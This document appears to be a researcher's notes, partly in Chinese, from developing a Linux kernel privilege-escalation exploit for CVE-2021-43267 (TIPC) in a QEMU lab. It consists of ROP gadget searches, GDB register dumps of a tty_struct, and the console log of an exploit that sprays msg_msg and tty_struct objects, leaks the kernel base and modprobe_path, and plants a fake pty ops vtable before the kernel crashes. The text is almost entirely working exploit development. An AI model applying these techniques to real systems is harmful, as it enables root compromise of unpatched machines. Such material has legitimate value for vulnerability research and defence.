0xffffffff81023741: mov rbp, rsp; mov dword ptr [rdx + 0x10], esi; mov qword ptr [rcx + rax*8], rdi; xor eax, eax; pop rbp; ret; 
john@ubuntu:~/Desktop/tmp/CVE-2021-43267$ cat ./g1 | grep "xor eax, eax" | grep "mov dword ptr \[rdx +" | grep "], rsi"
0xffffffff81bd7054: lea ecx, [rax + 1]; mov dword ptr [rdx + 0xb8], ecx; mov qword ptr [rdx + rax*8 + 0xe0], rsi; xor eax, eax; pop rbp; ret; 
0xffffffff81bd7057: mov dword ptr [rdx + 0xb8], ecx; mov qword ptr [rdx + rax*8 + 0xe0], rsi; xor eax, eax; pop rbp; ret; 

不含 xor eax, eax 的gadget
gef➤  x /10i 0xffffffff810ef6f5
   0xffffffff810ef6f5 <posix_cputimers_group_init+85>:  mov    QWORD PTR [rdx],rsi
   0xffffffff810ef6f8 <posix_cputimers_group_init+88>:  ret 
0xffffffff81251de2: mov dword ptr [rdx + 0x100], esi; ret;
0xffffffff810488dc: mov dword ptr [rdx + 0x18], esi; ret;
0xffffffff81576ba1: mov dword ptr [rdx + 0x20], esi; ret;
0xffffffff8102edef: mov dword ptr [rdx + 0x90], esi; ret;
0xffffffff817240ea: mov dword ptr [rdx + 0xc], esi; ret;
0xffffffff81167a43: mov dword ptr [rdx + 4], esi; ret;
0xffffffff810f9302: mov dword ptr [rdx + 8], esi; ret;





original

$ objdump -D -j .text ./vmlinux_small \
    | grep -C1 'mov    %rsi,(%rdx)' \
    | grep -B2 ret

ffffffff812c51f5:	31 c0                	xor    %eax,%eax
ffffffff812c51f7:	48 89 32             	mov    %rsi,(%rdx)
ffffffff812c51fa:	c3                   	retq
gef➤  x /5i 0xffffffff812c51f5
   0xffffffff812c51f5:	xor    eax,eax
   0xffffffff812c51f7:	mov    QWORD PTR [rdx],rsi
   0xffffffff812c51fa:	ret 

(2) 新的gadget
执行ioctl时的寄存器状态，观察可控的寄存器
Thread 3 hit Breakpoint 1, 0xffffffff810013e8 in calibrate_delay () at init/calibrate.c:315
315		calibration_delay_done();

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0xffffffff810013e8  →  0xed3c7f2d8b4cc35f  →  0xed3c7f2d8b4cc35f
$rbx   : 0xffff88800526dd00  →  0x0000000000000000  →  0x0000000000000000
$rcx   : 0x00000000706d742f  →  0x00000000706d742f
$rdx   : 0xffffffff8264eaa0  →  0x6f6d2f6e6962732f  →  0x6f6d2f6e6962732f
$rsp   : 0xffffc9000028fe60  →  0xffffffff81511767  →  0xef850ffffffdfd3d  →  0xef850ffffffdfd3d
$rbp   : 0xffff88800620a000  →  0x0000000100005401  →  0x0000000100005401
$rsi   : 0x00000000706d742f  →  0x00000000706d742f
$rdi   : 0xffff88800620a000  →  0x0000000100005401  →  0x0000000100005401
$rip   : 0xffffffff810013e8  →  0xed3c7f2d8b4cc35f  →  0xed3c7f2d8b4cc35f
$r8    : 0xffffffff8264eaa0  →  0x6f6d2f6e6962732f  →  0x6f6d2f6e6962732f
$r9    : 0x0000000000000000  →  0x0000000000000000
$r10   : 0xffffc9000028fee8  →  0x0000000000000044  →  0x0000000000000044
$r11   : 0x0000000000000074  →  0x0000000000000074
$r12   : 0x00000000706d742f  →  0x00000000706d742f
$r13   : 0xffffffff8264eaa0  →  0x6f6d2f6e6962732f  →  0x6f6d2f6e6962732f
$r14   : 0xffff88800526dd00  →  0x0000000000000000  →  0x0000000000000000
$r15   : 0xffff88800620a000  →  0x0000000100005401  →  0x0000000100005401
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0010 $ss: 0x0018 $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 

gef➤  x /10xg 0xffff88800620a000               // tty_struct 结构
0xffff88800620a000:	0x0000000100005401	0x0000000000000000
0xffff88800620a010:	0xffff8880044f5840	0xffff888005135430
0xffff88800620a020:	0x0000000000000040	0x0000000000000000
0xffff88800620a030:	0x0000000000000000	0xffff88800620a038
0xffff88800620a040:	0xffff88800620a038	0xffff88800620a048


$rdi / $rbp / $r15 指向tty_struct结构, 可控, 搜关于这3个寄存器的ROP
    (1-1) mov rsp, rdi/rbp/r15
    (1-2) mov rsp, qword ptr [rdi/rbp/r15
cat ./g1 | grep "mov rsp, qword ptr \[rdi/rbp/r15"

    (1-3) 找不到这三类gadget, 只能利用KEPLER中的 bridging_gadget, 但找不到 mov cr4, rdi                    ffffffff81702b00 T regcache_mark_dirty
void regcache_mark_dirty(struct regmap *map)
{
	map->lock(map->lock_arg);
	map->cache_dirty = true;
	map->no_sync_defaults = true;
	map->unlock(map->lock_arg);
}
EXPORT_SYMBOL_GPL(regcache_mark_dirty);

    (1-4) push rdi/rbp/r15      pop rsp
cat ./g1 | grep "push rdi" | grep "pop rsp"


/exp $ ./exp
[$] enabling tipc udp media
[$] establish tipc link
[$] installing helpers
[$] create messages queues
[$] spray messages
[$] poking holes
[$] tipc bug trigger
[$] spraying tty_struct

[$] we corrupted a msg_msg size field! (took 1 peeks)

[$] found tty_struct at offset 0x3d8
[~] pty_ops                 : ffffffff8227e1c0
[~] our buffer              : ffff8880050e9430
[~] kernel base             : ffffffff81000000
[~] modprobe_path           : ffffffff8264eaa0
[$] spray fake pty ops vtable
[$] attempting to corrupt tty_struct (try 0)
[    5.968591] kernel tried to execute NX-protected page - exploit attempt? (ui)
[    5.969427] BUG: unable to handle page fault for address: ffff8880038d4180
[    5.969604] #PF: supervisor instruction fetch in kernel mode
[    5.969737] #PF: error_code(0x0011) - permissions violation
[    5.969982] PGD 3001067 P4D 3001067 PUD 3002067 PMD 80000000038000e3 
[    5.970245] Oops: 0011 [#1] SMP PTI
[    5.970423] CPU: 3 PID: 108 Comm: exp Not tainted 5.14.15 #2
[    5.970618] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.134
[    5.971022] RIP: 0010:0xffff8880038d4180
[    5.971413] Code: ff ff 10 42 8d 03 80 88 ff ff 60 41 8d 03 80 88 ff ff 60 48
[    5.972688] RSP: 0018:ffffc90000177e70 EFLAGS: 00000286
[    5.972954] RAX: ffffffff810013e8 RBX: ffff88800526c800 RCX: 00000000706d742f
[    5.973303] RDX: ffffffff8264eaa0 RSI: 00000000706d742f RDI: ffffffff81511767
[    5.973623] RBP: ffff888006202000 R08: ffffffff8264eaa0 R09: 0000000000000000
[    5.973944] R10: ffffc90000177ee8 R11: 0000000000000074 R12: 00000000706d742f
[    5.974246] R13: ffffffff8264eaa0 R14: ffff88800526c800 R15: ffff888006202000
[    5.974653] FS:  0000000000f7c880(0000) GS:ffff88807d580000(0000) knlGS:00000
[    5.975012] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.975240] CR2: ffff8880038d4180 CR3: 00000000035f0000 CR4: 00000000003006e0
[    5.975622] Call Trace:
[    5.977990]  ? copy_compat_msqid_to_user+0x7b/0x120
[    5.978193]  ? __x64_sys_ioctl+0x7e/0xb0
[    5.978259]  ? do_syscall_64+0x3b/0xc0
[    5.978313]  ? entry_SYSCALL_64_after_hwframe+0x44/0xae
[    5.978441] Modules linked in:
[    5.978573] CR2: ffff8880038d4180
[    5.978807] ---[ end trace f0070ca208322ce2 ]---
[    5.979015] RIP: 0010:0xffff8880038d4180
[    5.979091] Code: ff ff 10 42 8d 03 80 88 ff ff 60 41 8d 03 80 88 ff ff 60 48
[    5.979447] RSP: 0018:ffffc90000177e70 EFLAGS: 00000286
[    5.979654] RAX: ffffffff810013e8 RBX: ffff88800526c800 RCX: 00000000706d742f
[    5.979813] RDX: ffffffff8264eaa0 RSI: 00000000706d742f RDI: ffffffff81511767
[    5.980044] RBP: ffff888006202000 R08: ffffffff8264eaa0 R09: 0000000000000000
[    5.980306] R10: ffffc90000177ee8 R11: 0000000000000074 R12: 00000000706d742f
[    5.980586] R13: ffffffff8264eaa0 R14: ffff88800526c800 R15: ffff888006202000
[    5.980832] FS:  0000000000f7c880(0000) GS:ffff88807d580000(0000) knlGS:00000
[    5.981421] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.981664] CR2: ffff8880038d4180 CR3: 00000000035f0000 CR4: 00000000003006e0
[    5.982654] pts ptm64: tty_release: tty->count(1) != (#fd's(2) + #kopen's(0))
[    5.983357] BUG: kernel NULL pointer dereference, address: 0000000000000020
[    5.983658] #PF: supervisor write access in kernel mode
[    5.983884] #PF: error_code(0x0002) - not-present page
[    5.984157] PGD 0 P4D 0 
[    5.984290] Oops: 0002 [#2] SMP PTI
[    5.984448] CPU: 3 PID: 108 Comm: exp Tainted: G      D           5.14.15 #2
[    5.984778] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.134
[    5.985287] RIP: 0010:esp_ssg_unref.isra.0+0x34/0x90
[    5.985796] Code: ff 48 0f 48 d0 8b 41 f0 85 c0 74 11 8b 49 2c 83 c1 01 48 89
[    5.986586] RSP: 0018:ffffc90000177e50 EFLAGS: 00000246
[    5.986838] RAX: 0000000000000000 RBX: 00000000040e0003 RCX: ffff8880038d4180
[    5.987147] RDX: 0000000000000000 RSI: ffff88800526c808 RDI: ffff888006202000
[    5.987437] RBP: ffff888006202000 R08: 0000000000000000 R09: ffffc90000177c70
[    5.987780] R10: 0000000000000001 R11: 0000000000000001 R12: 0000000000000000
[    5.988144] R13: ffff88800526c800 R14: ffff8880038d4180 R15: 0000000000000000
[    5.988377] FS:  0000000000000000(0000) GS:ffff88807d580000(0000) knlGS:00000
[    5.988982] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.989189] CR2: 0000000000000020 CR3: 000000000260c000 CR4: 00000000003006e0
[    5.989465] Call Trace:
[    5.989755]  esp_output_done+0x8e/0x180
[    5.990000]  ? tty_release+0xfb/0x410
[    5.990148]  ? __fput+0x87/0x230
[    5.990315]  ? task_work_run+0x5a/0x90
[    5.990485]  ? do_exit+0x355/0xaa0
[    5.990669]  ? __x64_sys_ioctl+0x7e/0xb0
[    5.990827]  ? rewind_stack_do_exit+0x17/0x20
[    5.991015] Modules linked in:
[    5.991176] CR2: 0000000000000020
[    5.991349] ---[ end trace f0070ca208322ce3 ]---
[    5.991565] RIP: 0010:0xffff8880038d4180
[    5.991733] Code: ff ff 10 42 8d 03 80 88 ff ff 60 41 8d 03 80 88 ff ff 60 48
[    5.992346] RSP: 0018:ffffc90000177e70 EFLAGS: 00000286
[    5.992432] RAX: ffffffff810013e8 RBX: ffff88800526c800 RCX: 00000000706d742f
[    5.992513] RDX: ffffffff8264eaa0 RSI: 00000000706d742f RDI: ffffffff81511767
[    5.992603] RBP: ffff888006202000 R08: ffffffff8264eaa0 R09: 0000000000000000
[    5.992699] R10: ffffc90000177ee8 R11: 0000000000000074 R12: 00000000706d742f
[    5.992780] R13: ffffffff8264eaa0 R14: ffff88800526c800 R15: ffff888006202000
[    5.992859] FS:  0000000000000000(0000) GS:ffff88807d580000(0000) knlGS:00000
[    5.992948] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.993027] CR2: 0000000000000020 CR3: 000000000260c000 CR4: 00000000003006e0
[    5.993157] Fixing recursive fault but reboot is needed!
[  127.614322] clocksource: timekeeping watchdog on CPU2: Marking clocksource ':
[  127.614781] clocksource:                       'hpet' wd_nsec: 495418440 wd_f
[  127.615296] clocksource:                       'tsc' cs_nsec: 495675136 cs_nf
[  127.615788] clocksource:                       'tsc' is current clocksource.
[  127.616139] tsc: Marking TSC unstable due to clocksource watchdog
[  127.616467] TSC found unstable after boot, most likely due to broken BIOS. U.
[  127.616860] sched_clock: Marking unstable (127602771691, 13648110)<-(1276531)
[  127.618817] clocksource: Checking clocksource tsc synchronization from CPU 0.
[  127.622059] clocksource: Switched to clocksource hpet
[  204.935496] random: crng init done


*/